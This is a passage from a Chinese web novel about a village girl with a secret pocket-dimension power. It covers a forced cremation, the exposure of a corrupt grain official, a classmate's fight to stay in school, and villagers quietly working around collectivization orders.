“我……我知道，可我爹娘生前唯一的心愿就是，走的那天，能够完整的走。”村长捂住自己的脸，眼泪却止不住的从指缝间渗出来。 “那他们在他们眼里，是好好下地重要，还是你这个儿子重要？” 钟伟先能够理解他的想法，但是不能够真的让他这么做了。 真要是做了，他这个兄弟也就完了。 去蹲几年篱笆子出来，还能有好日子过？ 村长哭了一会儿，红肿着双眼瞪着钟伟先：“可我管不了那么多了，我爹娘更重要！” ‘啪～’ 执迷不悟，钟伟先上去就是一个大嘴巴子。 陈显英来喊他回家吃饭，被吓了一跳，这怎么还动上手了。 钟伟先怒气值拉满：“你就埋吧，埋下去人家也能给你出来烧了。” 也不是没有前车之鉴，之前河对面有人不信邪，还是按照原来的方式土葬，结果第二天坟就被人挖了，尸体拉到镇上烧了。 镇上那个火葬场也是这两年建的。 “我埋远一点，不立坟包。”村长心中仍存有一丝侥幸。 “你人没拉到火葬场，人家猜不出来啊，到时间没去火葬场，还是有人来找你。” “还是当村长的，带头犯法，情节更严重了，你家老大到现在都没娶上媳妇，你觉得你这事一出，还有人敢嫁到你们家来吗？” 真就猪脑子，原以为这几年跟着知青，还有镇上的扫盲班学习，变得聪明些了，没想到还是蠢人一个，遇事只会冲动行事。 “我……我……我该怎么办啊？”说完，村长又是哭的像个开水壶。 “能怎么办？按照国家政策办！”钟伟先的话掷地有声。 陈显英听了这么久，也听明白发生什么事了。 她丈夫劝村长的话是对的，河对岸那家当时闹得有多大，她也知道。 人都埋地里几天了，被人拿铁锹挖出来，硬生生烧了。 子女去阻拦闹事，都被抓起来关了。 事后还得交罚款。 “强先，我知道这事你也难受，但你想想，你爹活着的时候，还说过什么？”陈显英循循善诱。 说过什么？村长心里一片空白，随后，他又想起来了，他爹说过，让他遇事多和钟伟先商量，说他们家人都不聪明，不聪明就得多听别人的建议。 村长越想越难受，整个人又瘫在了地上。 他几个儿子忙去搀扶。 看着儿子，尤其是到现在还没结婚的老大，再看看钟伟先夫妻俩，人家孙子都有了，自家儿媳妇还不知道在哪里，村长妥协了。 他爹娘没了，总不好再对不起孩子，给孩子们弄个犯法的爹。 最后，俩老人还是被拉去火化了。 那天，村上腿脚还算灵便的都跟着去了。 钟莹莹还有一件事情没做，她把自己卧室下面的土用空间掏了，运出去倒了，又把空间里的东西给填进去，留下一个空的空间。 钟莹莹怀着激动的心情，跟着送葬队伍一块去了镇上的火葬场。 打听这么多天，她也知道那个粮站工作人员家住哪里了。 吃了他们的，今天就让他吐出来。 海市那一战，成功让钟莹莹的心变野了。 如今就算是光天化日之下，她也敢置换东西。 空间置换的速度，压根不是普通人肉眼能够分辨出来的。 以后她是不是可以随便的搞事了？ “莹莹，有件事情要提醒你一下。”一个老万突然出现。 “我们做人要坚持本心，有些事情过犹不及。” 虽然他不知道钟莹莹身上发生过什么，但他能看出来，这个孩子是有大造化的。 现在，原本通透的人身上，忽然笼罩一层迷障，老万觉得，他还是提醒一下好。 身为钟家岗的一份子，他不希望钟家岗养出来的人会误入歧途。 钟莹莹被老楚一说，恍如大梦初醒一般。 已经深秋，接近入冬的日子，她的额头竟*然全是汗水。 她刚刚是怎么了？因为空间的事情飘了吗？ 常在河边走，哪有不湿鞋。 钟家岗都有老万这样的能人异士，那放到整个国家，这样的人会少吗？ 如果她被发现了，会有什么样的后果？ 想到后世电影中被抓去解刨做研究的异常物种，钟莹莹这下不止是额头有汗水了，身上穿在外套里的衬衣也湿透了，冷风一吹，她打了一个激灵。 粮站那人要处理，处理完她的空间就非必要不使用了。 那些东西她原本打算拿了劫富济贫的，现在看来也不必要了。 就让她的空间来发挥最后一次光明正大使用的余热吧。 他们属于平原，镇上只有一条主路通往县里。 其他房子，都是围绕着主路建的，火葬场需要穿过镇子的居民区，进到最远处，无人居住的地方，几乎经过了整个镇子，也自然经过了那个粮站收粮人的家。 钟莹莹怕影响二老下葬，所以去的时候没有搞事。 等火化炉的炉火燃烧起来，大人们开始哭泣。 孩子们等的无聊，就想着去供销社逛逛，哪怕不买东西，饱饱眼福也是好的。 钟莹莹也跟着出去了。 一般村里娃娃都是放养，跑到哪里取决于他们的双脚。 孩子们出去，大人也没管。 去往供销社的路上，钟莹莹悄悄的落在了孩子群后面。 路过那家人门口时候，弯腰装作捡东西，手往地上一拍，感受到他家一些莫名其妙的东西存在，默不作声的把东西移到空 间里。 她之前就发现了，只要有介质存在，她可以转移一定距离的东西到空间里。 跟上孩子们，发现身边有镇上人经过，装作一踉跄，再次弯腰，手指触地，通过土地的介质，空间里的东西被传到了镇上人面前。 “鬼啊……”那人面前凭空出现一大堆东西，立马吓得四处逃窜。 街上住着的其他街坊听见动静，开门出来看，就见大街正中央，堆着一大堆东西，有十几麻袋的粮食，还有一些看着就很精美的箱子。 不像他们这个地方能够拥有的。 孩子们也不去供销社了，跟着镇上人一起凑热闹。 “我的天呐……这是谁家的东西啊？就堆在路中间。”怕不是有人搬家呢？ 一个爱占便宜的大娘，伸手打开一个箱子，本想顺手牵羊，看见箱子里的东西，又默默的缩回了手，这东西她可不敢碰。 地主老财家都不见得有这么富。 “哎呦，哪来的天杀的小偷，把我家东西都偷了～”有一肚大腰圆的胖老头，从那个粮站人家里哭天喊地的出门了。 一出门，见门口围着一大堆的街坊邻居，自家的东西堆在马路中央。 也不嚎了，整张脸立时煞白。 他们被发现了？ “老赵，这些都是你家东西？”那开箱子的大娘眯起了眼睛。 老头忙摆手：“不是不是。” 他哪里敢认下啊。 “不是你家的是谁家的，刚刚你不还说自家东西丢了吗？”其他人嚷嚷道。 老头汗如雨下。 之前在粮站坑人的那人也回来了，他是老头的儿子，叫赵有才。 “你们都围在我家做什么？”赵有才一向目中无人。 从市里被打发来小县城已经是他一辈子的耻辱了，他和这乡下人可不一样。 “围在你家？赵有才，这些东西是你的吧？”另一围观者让开了位置，好让赵有才看清外面对着的东西。 被那大娘打开的箱子，里面的宝石闪烁着耀眼的火彩，赵有才不敢相信，这些东西是怎么被翻出来的？ “镇长来了。”刚一发现那一堆东西的时候，就已经有人去喊镇长了。 镇长刚到，一看那些宝贝，就知道这事他处理不了，连忙让人控制住赵家人，喊人去县里摇人。 赵有才来历不小，所以平常在镇上他都是能忍则忍，一个粮站的工作人员，平常竟然比他这个镇长还要嚣张。 后面的事情，不是钟莹莹这群孩子能够看的了。 火化结束，村长领到骨灰，带着村里人回村，准备下葬爹娘。 没回去就听到这个带有灵异色彩的故事，村长认为是他爹娘显灵，所以赵有才会被抓。 “我爹娘这是走了还看不惯别人欺负我们村啊～”村长感慨道，此时此刻，他心里因为爹娘火葬的那一丝郁气也随风而散。 回到村里，就见邓荣住的那小院门口，停了一辆小汽车。 第48章 “我不回去。”小老头倔强的很。 当初说给他弄下岗就弄下岗了，现在有事又来找他，当他什么人？ “你……”来人有两个，一个年轻，一个年纪和邓荣差不多大，年轻的那人指着邓荣的鼻子就想骂。 为首的那个年长者示意他闭嘴，他不情不愿的将口中剩下的话又给噎下去了。 年长者笑着说：“邓工，我知你当时心中委屈，可当时也是不得已而为之啊～” “为了接你回去，我们是一路从海市开车过来的。”话说的那叫一个情真意切。 邓荣不想理他，当时他有几个怀疑人选，他最怀疑的就是面前这人：“我不回去，我在这钟家岗待的好的很。” “这小破村子哪里比得上海市？”最初说话的那人不屑道。 “有吃有喝的，还能帮村民干活，活动活动筋骨，有哪里不好了？我怀疑你这个小同志思想有问题。” “等会我就给厂里寄信去，把你也调来思想改造。”邓荣是故意的。 什么样的老师，教什么样的徒弟。 面前这俩人都讨厌的很。 “邓……”年长者还想继续说。 “别喊了，都走，我不回去。”邓荣一边说，一边动手将两人往门外推。 这俩人来找自己，准没好事。 如果真是厂里找他，那肯定会有调令的。 现在不清不白的就喊他回去，不是让他背锅，就是让他背锅。 他才不上当呢。 俩人被赶出门，还想继续敲门，转头撞见刚从镇上回来的钟家岗众人，觉得很没面子，最后还是面上带着狼狈走了。 钟莹莹见了，暗道不好，邓老师该不会是要走了吧？ 记得前世采访的时候，他说过，他下乡只度过很短暂的一段时光，很快就被人接走，参与到研究中去，直到十几年后，出了研究成果，他才重新和外界联系上。 国之重器，本就不该局限在他们这个小村子里。 能和他在人生旅途中，有过一段重合，已经很好了。 邓荣的小课堂一直正常开课，钟新澄是他最为忠实的信徒。 虽然没学到啥深入的东西，但造点小玩具，手搓个关节带动的木头人，能点火的小手枪等，钟新澄已经很熟练了。 天天和钟新澄掐架的丽丽，也因为这些小玩意儿，和他关系好了很多。 钟莹莹跟着邓荣学习，也是为了以后她如果莫名其妙提出某些东西或者想法，能有个借口。 回到钟家的钟莹莹，把之前挖的土给转移回来，又将钟家地下她存放的东西给收回到空间里，这个空间她在人前是不会再使用了。 一直到冬天，也没见邓荣离开，钟莹莹便把这件事情抛之脑后了。 初雪那天，有件喜事。 郑老师和祁丰结婚了，还给他们班的学生每人都发了几颗喜糖。 “莹莹，我现在都有点不敢回家了。”祁绮恍恍惚惚。 任谁的老师突然变成自己嫂子，都不能接受啊。 “怕啥，郑老师又不凶。”钟莹莹挤眉弄眼道。 “那我也怕。”就算郑老师再好都不行，老师变家长，这也太可怕了。 祁绮觉得，钟莹莹纯属是站着说话不腰疼。 郑老师在学校教自己就算了，现在放假回家，郑老师还会给她补课。 她甚至觉得，放假回家还没有在学校自在，起码在校时，邓老师不会只盯她一个，回到家就变成一对一了。 马上要期末考了，郑老师看她看的尤为紧，一点闲暇时间都没了。 “高家娣，你家里来人了。”一个不认识的男生站着教室外面喊。 钟莹莹几人感到奇怪，从没见过高家娣的家人来学校看过她。 之前她还说家里人想让她嫁人，好不容易又同意给她继续读了，这会儿又来是想干嘛？ 几个女生对视一眼，纷纷理解了对方的意思，悄悄跟着高家娣背后一块去了办公室。 “家娣啊，娘也实在没办法，你舅舅在外面惹了事，人家说不赔钱，就要让他蹲篱笆子去。”高母拉着高家娣的手，哭的 一把鼻涕一把泪的。 高家娣的爹就站在边上，低着头一言不发。 “娘～”高家娣不明白她娘跟她说这些做什么。 “家娣啊，娘给你在镇上找了个对象，就是上回你见过的那个，人很好的，人家愿意出五十块钱彩礼。” “有了这钱，你舅舅就有救了啊！”高母眼含热泪，饱含期望的看着高家娣。 高家娣不敢置信：“娘？” 她娘竟然想卖了她换彩礼给她舅舅，她是她亲生的啊！她怎么舍得。 “高家娣家长，你家孩子今年都初二了，还有一年，就可以参加中考。” “家娣这孩子在班上成绩很不错，中考最低也能读本校的高中，考得再好一些，还可以去读中专。” “中专读三年，学校会给分配工作的，现在让孩子退学，岂不是害了孩子，您再好好考虑考虑。”郑老师实在不忍心见一个好好的女孩子，被迫放弃大好前途。 每次开学班上的女同学都会少那么一两个，老师去家访，家里也就只是说她们嫁人了，不用再上学了。 “老师，我们也想啊，可是我们家实在没钱了！”高母默默哭泣。 “娘，我不想嫁人……”高母哭，高家娣也跟着哭。 她好不容易才有今天这个成绩，老师同学都在帮助她，眼见着光明就在眼前了，她娘又要给她拖回淤泥里，高家娣的眼神瞬间变得黯淡。 “哎呦～”五人组在靠在门外偷听，没注意，脚麻了，办公室的门没插只是掩着，一群小姑娘一个叠一个的摔进了屋里。 钟莹莹有些衰，个子矮，趴门上的时候，她排第一个。 这会儿摔了，她被压在最下面。 “痛痛痛～你们谁压着我的脚了～哎呀～快起来！”钟莹莹感觉自己有点不太好，身上的重负，让她觉着脚好像断了。 吴月、祁绮、楚秀秀、李红雪几个忙不迭的站起来，又把被压在最下面的钟莹莹扶起来。 “你们想干嘛？”郑老师有些生气，好好的孩子，不在教室里上课跑这来听墙角了。 钟莹莹一站稳，顾不上脚上的疼痛，忙解释道：“老师，我们也是担心高家娣。” “对，老师，你可不能放高家娣回家嫁人啊，她好不容易才考到年纪前十的。”李红雪深知高家娣学习的不易。 祁绮也怯怯的跟着劝：“嫂子，高家娣能考上大学的！” 高母一见有人想要阻挠自己，立马站出来反驳道：“你们这些小丫头知道什么？你们家条件好，我家可没这个条件供她上学！” “我给家娣说的人家，家里条件可好了，还有自行车呢，你们拦着家娣去过好日子，小小年纪，也太恶毒了吧？” …… 听着自己娘一句一句的给老师同学泼污水，高家娣的眼睛里蓄满了泪水。 她的泪水犹如断了线的珠子，一颗连着一颗，啪嗒落在地上。 高家娣终是站了出来：“娘，到底是谁见不得我好啊？” “嘿，反了天了，我供你读书还有错了？”高母怒气冲天，抬手就想扇高家娣几个巴掌。 郑老师见情况不好，慌忙之中拦住了她。 “爹，你也是这么想的吗？”高家娣把视线转向那个一直沉默不语的男人。 高父终于抬头：“家娣……你也别……”怨恨你娘。 话没说完，就被高家娣堵在了嘴里：“爹，我们家是真的没钱供我上学吗？那为什么娘每个月回娘家都可以带一篮子鸡蛋回去？为什么舅舅不务正业，他家孩子还一直有新衣服穿，我跟弟弟，身上的衣服永远都是破了补，破了补……” 高家娣的控诉字字泣血。 高父注视着自己女儿，一身蓝黑色的薄棉袄，单薄的粗麻布裤子，手腕脚腕都露了好大一截在外面，衣服上也是大补丁摞着小补丁，抹眼泪的手上满是红肿的冻疮。 高父以前从没有注意过，这才刚入冬，他闺女的手就已经成这样了。 再想想他小舅子家的那两个娃，一个个养的白白胖胖的。 自家那个儿子呢，比闺女好点，但也没好到哪里去，身上的衣服也没一件合身的。 所以，当真是他做错了吗？ 高父颓唐无力的垂下头。 高母继续怒骂道：“你个黑心肝的，我就不该让你上学，现在连你舅舅也敢骂了？你舅舅人家过的好，是人家有本事，你上不了学，是你爹没本事，赚不到钱，你爹要是个工人，那谁会……” “够了……”高父从喉咙中发出一声怒吼。 高母被吓的楞了一下，反应过来立马指着高父鼻子骂：“你想干嘛？啊？我给你生儿子，生闺女，你现在敢骂我？你长胆子了啊？” “我闺女不退学，她的学费我出。”高父想勇敢一次。 高母：“好哇，你们父女俩成一条心的了，那我走！” 说着她怒气冲冲的踹开办公室的门，撞开高父自己走了。 家里的钱都在她那里，她倒要看看高父下学期拿什么给那个小蹄子交学费。 “爹”高家娣怔愣着，她没想到，她爹竟然会为了她反抗她娘。 “你好好读书，学费爹会想办法的。”高父此刻的感官颇为复杂。 头一回反抗媳妇，好像并没有感到什么不好，反而，心里那股气顺了。 “叔，你早该这样了，家娣是你亲生的，以后她出息了，会给你养老，你拿家里钱给别人，不给自己闺女，人家等你老了会养你吗？”李红雪反正是没见过侄子养姑父的。 “家娣长大后，一定会照顾弟弟的，但是你侄子就不一定照顾你儿子了，隔了一层关系，哪里有亲姐弟亲啊？”钟莹莹也跟着附和。 高父听完恨不得钻到地下去，几个孩子都比他明白事理。 “家娣，这两块钱，你拿着，期末考试要好好看。爹先回家了。”把自己的私房钱从鞋子里扣出来，塞到高家娣手里，高父就匆匆走了。 高家娣把钱塞到口袋里，看着这一群可爱的小伙伴深深鞠了一躬：“谢谢你们！” 谢谢你们给了我勇气，让我反抗那不公平的命运。 “谢什么谢啊，大家都是同学。”几个小女生七嘴八舌道。 郑老师从背后阴测测道：“上课铃响了，你们都没听到吗？” “哎呀，老师，对不起，那我们上课去了。”说完，李红雪拽着小伙伴就想走。 拽到钟莹莹那，被一句“疼～”，给生生止住了脚步。 钟莹莹刚摔那会儿就觉得不好，因为注意力一直在高家娣身上，就没想那么多，这会儿要走了，才发现，她的脚好像骨折了。 第49章 白大褂给钟莹莹的骨头对正，准备好合适宽度和长度的石膏绷带，经过一系列繁杂的过程后，他擦了擦额角的汗：“好了，没事了，回家注意不要碰到这只脚就行，感觉到不舒服就来复查，没事的话，过完年再来医院把石膏拆了就行。” “谢谢医生，您看还需要开什么药不？”陈显英关切的问道。 白大褂沉吟片刻：“已经在医院挂了两天水了，应该不用拿什么药了，你要是不放心，我给你开一点阿司匹林，止痛的，孩子若是腿痛，就给她吃一点。” “不过最好还说少吃，止痛药不利于伤口愈合，实在痛的受不了了再吃。” 陈显英点点头：“那医生，您给我们开一点吧。” 现在路还行，雪下得小，他们还能走。 等到再过一段时间，下大雪会直接封路的，他们别说来县里了，就是镇上也不方便。 天知道，学校老师骑着自行车来家里通知她说，她家孩子在医院呢，她心里有多紧张。 这孩子，也不知道咋回事，咋就把腿给摔断了，这下子学都没法上了。 拿了药，缴完费，给钟莹莹搀扶到牛车上躺好。 牛车上，陈显英垫了厚厚的被子和枕头，外面下着雪，她又在上面盖了一层蓑衣。 钟莹莹躺上去，陈显英把蓑衣重新盖回被子上，以免雪落到被子上，打湿被子。 学校宿舍还有东西要拿，所以钟伟先驾着牛车直接去了县中学门口停着。 “大娘，莹莹没事吧？”宿舍里的几个女孩子这几天都很自责。 觉得要不是她们压着钟莹莹了，她也不会骨折。 “没啥大事，医生给打了石膏，很快就好了。”陈显英只当是孩子玩闹时钟莹莹不小心伤到了，并没有怪罪几个孩子的意思。 “那她啥时候能来上学啊？”高家娣十分愧疚。 若不是她娘来学校闹事，也不会发生这样的事情了。 高家娣深觉自己才是罪魁祸首。 “等拆了石膏，下学期开学就回来了。” “你是家娣吧？”陈显英来宿舍之前，钟莹莹给她说了，宿舍有个方脸个子最高的女生，叫高家娣，托她给带句话。 “我是。” “莹莹让我给你说，一定要好好学习啊，等她回来，还要跟你们一起中考上中专呢！” 陈显英边说，手上边利索的收拾钟莹莹床上的东西。 “我会的。”高家娣暗自下决心，她一定会好好学习，考上中专，出人头地的。 谁来让她退学都不行，没钱她就去给人磕头，哪怕是讨饭也要把学费讨来。 “大娘，我们来帮你吧，这边这个水杯也是莹莹的。”李红雪跟着帮忙一起归拢物品。 “还有这些书。”祁绮也上前来帮忙。 最后，整个宿舍的女生一起帮陈显英收拾起了东西。 陈显英临走前，她们还在一起凑了很多平常舍不得吃攒下来的零嘴，装了一个小布兜里，让她带着一块交给钟莹莹。高家娣悄悄的在布兜里塞了两毛钱，钱用作业纸包好了放进去的，不是她爹之前给她的，是她去年考试的时候，学校发的奖学金，她一直藏着，没被她娘发现。 钟莹莹爱干净，她爹给的钱，是从臭袜子里掏出来的，她怕钟莹莹会嫌弃。 陈显英乐呵的冲着钟莹莹笑：“你这几个同学人还挺好的，还给你拿了吃的。” “那是，我们宿舍可和谐了，班上的女生人都很好。”钟莹莹很自豪。 自打那个搅屎棍走了后，班上的女生一个比一个好学，大家关系也很融洽。 陈显英敏锐的察觉出钟莹莹话语中的漏洞：“女生人好，男生嘞？” 她家闺女该不会在学校和男生闹什么矛盾了吧？本来就比人家年纪小，这小胳膊小腿的，还不够那些小子一拳头锤的吧？ 她的脚伤是不是也和那些男生有关？陈显英的思维不断发散，整个人开始阴谋论。 钟伟先也有些怀疑，几个女生闹着玩，脚能摔成这样？ “男生原先有些烦人，现在好很多啦，之前去食堂打饭的时候，还让过我们呢！”钟莹莹不知道老父母的心思，躺在被子里笑容璀璨，不用上学，这个骨折也没那么难受了。 “有一个有点膈应人，但是现在他在班里都不敢说话了。”钟莹莹指的是刘兵，自打之前考试诬陷一事，男生们也不愿意和他玩了，他在班里彻底老实了。 “那就好。”陈显英放下心来，没被欺负就行。 钟伟先赶着牛车，一家三口一块去了供销社。 陈显英要买点东西回去，孩子身上有伤，得好好补补。 钱是自家的，票是宋茹寄过来的。 供销社也没啥好东西，陈显英让店员给称了二斤鸡蛋糕，又拿了一包奶糖。 要不是肉铺这会儿不开门，她还想买点猪肉和大骨头，回家炖汤给闺女喝，吃啥补啥，骨头断了就得喝骨头汤。 买不到也没关系，离过年也不远了，村里也该杀猪了。 到时候多跟村里人换点，留着给她闺女炖汤喝。 钟莹莹这伤了脚回到钟家岗，就像老鼠进了米缸一样快乐。 屋外寒风呼啸，屋里她的被窝暖烘烘的，她娘给她灌了两个玻璃瓶的热水塞被窝里。 玻璃瓶还是在医院的时候问医生要的，这个东西可是抢手货，橡胶塞一塞上，不漏水，这个时候都喜欢用这个来暖被窝。 “姑姑，你吃肉干不？”钟丽丽背着小手从外面溜达进来，手心里放着一块指头大的肉干。 这是她爹战友寄过来的，数量不多，她平常都舍不得拿出来分给别人吃。 黄家的房子在下雪前已经建好了，晾了几天，黄有德就带着钟明芳搬了进去。 钟丽丽现在和钟新澄在一个学校上学，钟莹莹不在的时候，他们关系还成，钟莹莹一回来，俩小家伙就开始争宠了。 “姑姑，你吃奶糖不。”钟新澄跟在她后面，从兜里也掏出一块被体温捂化了，又被冷空气重新塑形的歪七扭八的奶糖。 这真是有些甜蜜又埋汰的烦恼，钟莹莹扶额：“我啥也不吃，你俩自己吃吧！” 她俩人的东西都没接，这下不会再吵架或者打架了。 在家休息是很欢乐，俩小家伙一闲下来，就有断不完的案。 她突然有些怀念在学校的日子了。 这次期末考没能参加，学校那笔奖学金也捞不着了，有点可惜。 钟莹莹又想到宿舍其他几个伙伴，除了祁绮，其他四个家境都不多好，她们现在在班级里，基本上每次考试都是前十名以内的。 或许，这个钱，她们拿了，会比自己拿了作用更大。 毕竟自己真没啥花钱的地方，学费生活费，陈显英女士都全包了，平常买个小零嘴啊，擦脸霜啊，也用不着自己花钱，她姐钟明芳还有她嫂子钟明月，顺手都给买了。 零嘴宋茹寄的比较多，小县城地方小，没啥好吃的，还是海市好吃的东西多。 钟莹莹突然有点想吃肥肠了，等下和她娘商量一下，杀猪的时候，让村长把猪下水留一部分给她家。 这个破脚，干啥都不方便，上个厕所都得让人搀着。 钟莹莹在家苟着，还没到过年，就得到一个消息，上面通知各家各户把自家的铁制品上交，要炼钢铁了。 钟莹莹不敢置信，按照前世的进度，这件事情，起码得到两年后呢，咋还提前了呢？ 好在这一次，没有强制说要交多少，只要每家都交了就行。 钟伟先把自家的烂锄头交上去了。 各家各户上交的基本都是损坏的农具上取下来的废铁。 “爹，你去废品站再买些废铁回来吧，这次让交，下次万一还让交呢？咱家可没有那么多烂锄头。”钟莹莹提醒道。 后面这件事情，在有些地方会疯狂到连各家各户锁门的锁头都交上去了。 提前备点东西，有备无患。 钟伟先思索了一下：“得去看看有没有了才行。”平常这玩意好找，现在让上交，家里没有废品的，可不得想到废品站去买。 他不能等了，得现在就去废品站看看。 能买多买点，搁废品站买东西又不要票，给钱就行。 钟伟先去买东西的时候，村上来了一伙穿制服的人，哪也没去，直奔邓荣住处。 这次邓荣再没有借口留下了，国家征召他义不容辞。 临走之前，他见了周岱和钟莹莹，钟新澄也去了，邓荣的书一部分送给了周岱，一部分给了钟莹莹，末了到钟新澄的时候，他停了一下，接着把自己别再上衣口袋的钢笔取了下来，递给钟新澄：“木木啊，要好好学习，以后考上大学，才能更好的学习自己感兴趣的东西” 他年纪大了，看人还是有点准头的，经常来找他的三个孩子，周岱是因为大学专业学的机械，钟莹莹看似聪明，实则对机械没有那么深的热爱，只有钟新澄，这个孩子赤诚的很，一门心思放在搞发明创造上面。 就是孩子小了点，没文化，不打好基础，将来要吃大亏的。 “邓老师，我知道了。”钟新澄难得安静。 邓荣挥挥衣袖：“都进屋吧，外面冷，别冻感冒了！” 钟新澄对邓荣最后的记忆，就是他矮小却又莫名显得高大的背影。 邓荣走了，钟家岗的生活任然在继续。 炼钢铁提前了，那大锅饭和浮夸风会不会也会提前？ 是时候让家里人提前做好准备了。 第50章 钟伟先去废品回收站的事没瞒着村里人，学人精再次出动，一个二个的，镇上买空了，就去县里买。 钟家岗的村民过了个好年，年前只交了一次铁制品。 钟莹莹的脚等到过完年，雪化了才去县里拆了石膏。 石膏一拆，小脚丫子那味儿，滂臭。 简直不忍直视。 因为受伤的这只脚好几个月没使力，两只腿都变得一条粗一条细的，钟莹莹长期单脚起跳，已经有些不会正常走路了。 春天钟家岗的物产很丰富，野菜采了生长的特别快，采下来弄干净就是咸菜厂免费的生产材料。 用野菜腌制的产品，比种植的更加畅销一些，供销社那边更倾向于收购‘野味’足一些的产品。 钟莹莹还在一个被砍倒的白杨树遗留的树墩子蛀成的树洞里，发现了一大丛平菇。 他们这的人是不吃野生蘑菇的，平常遇到了，也会觉得有毒，直接给踩烂。 竹林里就有很多长得像蛇蛋一样的白蘑菇，小孩子碰见了都会一脚踩爆，有时踩的是蘑菇，有时踩的真是蛇蛋。 “莹莹，这玩意你确定能吃？”钟绍华很是怀疑，别吃了一口直接下去见爷爷奶奶了吧。 “能吃的，城里人吃这个，炒着吃和香菇一样好吃。”周茹之前不知道从哪里弄了一包干香菇，给钟家寄了过来，说是炖肉吃。 过年的时候他们炖着吃了，还真香。 “那其他蘑菇能吃不？”钟绍华有些跃跃欲试。 钟莹莹赶紧打消他的念头：“我们这只有平菇能吃，其他都是有毒的。” “哦～”钟绍华很是失望。 钟家晚上用大蒜清炒了平菇，确实很美味，吃起来又点类似于肉的口感，钟绍华更是想要再找到一些平菇了。 钟莹莹告诉他，只要那个树洞一直在，不要把平菇挖绝种了，时不时给周围洒点水，保持湿润，它们还会再长出来的。 钟绍华听了，直接用竹竿给那个烂了一半的树墩子围起来了。 还告诫村里的小孩子，谁都不许过去搞破坏。 离钟莹莹开学还有几天，上面的通知又下来了。 “唉，你说这叫个什么事啊？”上面通知各家各户把家里的菜刀啊铁锅啊啥的都给交上去炼铁。 “村长，没了锅，我们咋吃饭啊？”村民们人心惶惶。 “听说是要在村里开食堂，把粮食都交到食堂去。”有人消息比较灵通。 大多数村民都很不看好这一举动。 各家情况都不一样，谁愿意把粮食全都交上去，然后一起分着吃啊？ 那家里大人少孩子多的，可不就吃亏了。 “这是上面的要求，我也没办法。”铁制品是要交到镇上去，镇里再交到县里去，然后在县里搞炼钢炉，炼钢。 乱七八糟的东西全都丢进去，真的能炼好钢吗？村长有些忧心忡忡。 “村长，我们交的东西是炼钢的，那是不是坏了也没关系？”有人开始耍心眼子了。 上有政策，下有对策。 村长瞥了他一眼道：“理论上是这样的。” 村里人天天跟着知青学习，脑子都变好使了。 晒谷场上像是炸开了锅一样：“我家之前买了烂锅片，我可以交那个。” “我家也买了，不过不是锅片，是铁皮，应该也没问题。” 大家伙一对账，发现每个人都有替代品可以交。 纷纷抿嘴笑了。 “我提醒一下大家啊，交完炼钢的铁，大家还需要集中到食堂来吃饭，不该用的东西，不要出现到台面上来。”钟伟先看着兴奋的大家伙，不由得站到台面上来提醒了一嘴。 老楚大声回话：“我们知道的。” “还是伟先神通广大啊，要不是他我也不会想*到要去买这些东西，你呢？” “我也是学着伟先买的。” 有人笑骂他们一句‘学人精’，他们不以为耻，反以为荣。 学人精怎么了，学人精能过上好日子，他们以后都要当学人精。 “爹，粮食我们交一半留一半。”钟莹莹扯了扯钟伟先的袖子，害怕他爹化身老实人，把家里的粮全都交了。 钟伟先笑着揉了揉钟莹莹的脑袋：“放心吧，你爹老江湖了，不会让你饿肚子的。” 村里人灵活变通，上面说的是把粮食全部上交，然后大家一起吃，到钟家岗变成了，大家把粮食存放一部分在食堂，每天按量按需提取，两个灶，放自家碗里分开蒸饭。 变相版的各吃各家饭。 味道上肯定比不上自家小灶做的，不过却挺节约时间的。 村妇女儿童轮流帮忙烧火做饭，节约出来的时间，劳动力们挖河沟去了。 一冬的时间过去，原先修好的水渠，又落了枯枝败叶和堆积的淤泥，需要人工清理，才能正常投入使用。 原先挖的水渠比较浅，没那么深，这次通水渠，村民们又给水渠加深的一下，几乎就变成比较窄的水沟了。 “不要往水边去哦！”钟莹莹点了点钟新澄的脑瓜子，丽丽是个乖宝宝，只有这孩子最是跳皮，啥东西都想一探究竟。 水渠挖深了，水满时，像他这般大的孩子，真不好爬上来。 钟家岗小沟小塘的多，夏天干完活，大人还会带着孩子下鱼塘洗澡。 水里长大的孩子，没有不会游泳的。 但老话说了，淹死的都是会游泳的。 钟家岗的水塘里，没有大人带着，是严禁孩子们下水的。 一旦被抓到，就等着回家吃竹笋炒肉吧。 钟莹莹跟着小伙伴一块帮大人干活，地头边生了很多艾草，还是幼苗苗，挖回家，砸碎可以混着糯米粉做青团吃。 吃不完的，还能晒干留着泡茶喝，味道清香，还能助消化。 乡下的田间地头都是好东西，村里人一时半刻也舍不得浪费。 钟家岗的人很克制。 其他村就不一样了，因着上面的通知，都可劲儿胡吃海塞，想着上面有人兜底。 春耕时，他们也不出力，反正都是吃大锅饭，想吃多少吃多少，干不干活也没区别。 一个个在地里磨洋工。 野菜啥的以前采了可以顶替粮食充饥，现在大米饭吃到饱，谁还去搞那玩意？ 城里还好，依旧是凭借票证购买，出不了什么大乱子。 “莹莹，现在我们村可好了，回去随便吃，想吃多少吃多少，我都不想开学了。”李红雪摸了摸自己的小脸，这一春天的胡吃海喝，她都长肉了。 “能多吃就多吃点吧！”别村的情况和钟家岗不一样，冒然提醒，有可能还会被人举报，没好果子吃。 高家娣也觉得十分快乐，这个假期，是她活到现在，度过的最愉快的一段时光。 没有吃不饱饿肚子，没人打骂她，在家她只要干完活，就可以安静的看书。 因为她爹不同意把她嫁了换彩礼。 她舅舅那边又急着用钱，不然就要被人当成流氓抓走。 她娘很着急，一气之下，学习新思想，和她爹离婚，改嫁给她舅舅那边的癞疤头，竟是把她自己给卖了换彩礼也要救那个不成器的弟弟。 高父被折磨的也很无奈了，钱他一分不要，高母手里也没钱了，高家的钱，也早都被她全花在自己弟弟身上了。 高母要走，高父管不上丢脸不丢脸，立马收拾东西让她滚蛋了。 “我们家的锅都被收走了呢！”敞开肚皮吃东西很美好，吃饭的家伙没了让人有些恼火。 “我爹偷偷藏了些粮食，你们不要往外说。”吴月小声道。 宿舍几个女生对视一眼：“我们家也是。” 少掏多吃，是大家的共识。 “回去的时候，你们记得多采点野菜晒了存起来，冬天的时候供销社会收呢！”钟莹莹没胡说八道，冬天没菜的时候，确实有人收这玩意。 “好。”几个小女生也想攒点零花钱。 私人买卖不允许，农民把农产品出给供销社是可以的，数量不能太多，太多就有投机倒把的嫌疑。 时间一天天的过去，天气也逐渐变得炎热起来。 钟莹莹换上了短袖。 按照惯例，这个时间差不多进入梅雨季了。 可他们这至今还没下过一场雨，地里的小麦都有点蔫巴了。 钟家岗河沟多，从水渠放水，暂且供的上地里作物的生长。 